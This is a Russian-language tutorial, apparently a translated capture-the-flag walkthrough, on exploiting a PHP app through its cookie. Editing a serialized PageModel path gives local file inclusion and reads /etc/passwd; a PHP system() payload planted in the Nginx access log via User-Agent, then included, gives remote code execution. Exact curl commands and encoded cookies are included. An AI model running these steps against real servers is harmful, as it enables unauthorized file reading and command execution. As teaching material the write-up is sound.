Сегодня мы увидим, как удаленное выполнение кода с помощью отравления журналов, которое является типом включения локальных файлов. Допустим, есть веб-приложение, использующее PHP в качестве внутреннего языка. Для всего этого процесса можно использовать burp, но сегодня только cUrl /только хардкор/ для отправки и получения ответов и управления запросами.
Ну начинаем!
Включение локального файла в PHP
Включение локальных файлов — очень распространенная уязвимость веб-приложений, которая позволяет злоумышленникам читать конфиденциальные файлы на сервере, а иногда даже выполнять удаленные команды. Это происходит, когда ввод не проверяется должным образом или код написан плохо.На скриншоте видно, что веб-приложение содержит файл cookie с именем PHPSESSID, значение которого закодировано в base64. После декодирования значения base64 файла cookie мы нашли сериализованную строку.
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";} Существуют сложные массивы с элементами более чем одного типа данных, поэтому для последовательного их расположения PHP использует функцию searealize() для преобразования их в форматированную строку.
Код:
<?php
$data = serialize(array("Cat", "Dogs", "Rabbit"));
echo $data;
?>The above PHP code will give result as:a:3:{i:0;s:3:”Cat”;i:1;s:4:”Dogs”;i:2;s:6:”Rabbit”;}
Декодированные данные cookie выглядят интересно, поскольку они указывают на путь index.html, возможно, мы можем изменить путь на что-то другое, и он будет включать любой файл, присутствующий на сервере, что приводит к включению локального файла.
Закодируйте измененный ниже путь к base64 и отправьте его в приложение.
Код:
O:9:"PageModel":1:{s:4:"file";s:22:"../../../../etc/passwd";}
Код:
Command: curl -i -v {URL}-b "PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ=="
Оно работает! Мы видим файл passwd, который подтверждает уязвимость LFI в этом приложении.
Отравление журнала
Журнал сервера — это текстовый файл, который содержит все действия, которые были выполнены во время связи с веб-сервером, такие как файлы, к которым осуществлялся доступ, коды состояния, пользовательский агент, местоположение, IP-адрес и т. д.Код PHP включает файл index.html из оператора include без надлежащей проверки ввода, поэтому включение неправильно сформированного файла будет оцениваться. Если бы мы могли контролировать содержимое файла, доступного в уязвимом веб-приложении, мы могли бы вставить код PHP и загрузить файл через уязвимость LFI для выполнения нашего кода.Отравление журнала или внедрение журнала — это метод, который позволяет злоумышленнику вмешиваться в содержимое файла журнала, например вставлять вредоносный код в журналы сервера для удаленного выполнения команд или получения обратной оболочки. Это сработает только тогда, когда приложение уже уязвимо для LFI.
Содержимое, которым мы можем управлять, — это журналы, которые мы отправляем на сервер.
В нашем случае это сервер Nginx, поэтому путь по умолчанию для журналов: /var/log/nginx/access.log и он будет отличаться в зависимости от разных серверов. Кодирование и отправка приведенной ниже строки дает нам журналы сервера.
Примечание. Измените размер на 34 для конкретной строки.
Код:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
Удаленное выполнение кода
Поскольку заголовок User-Agent регистрируется, мы собираемся изменить его значение на вредоносный PHP-код и отправить его на сервер.Ниже функция PHP system() принимает команду в качестве параметра и отображает ее результат в качестве вывода.Уязвимость RCE позволяет злоумышленнику удаленно выполнять команды в системе жертвы.
Код:
<?php system('ls /'); ?>
Код:
Command: curl -i -v {URL} -A "<?php system('ls /'); ?>"-i include response
-v verbose
-A To provide the value of User-Agent
Код:
Command: curl -i -v {URL} -b "PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ=="
Что и требовалось получить!
Перевел эту статью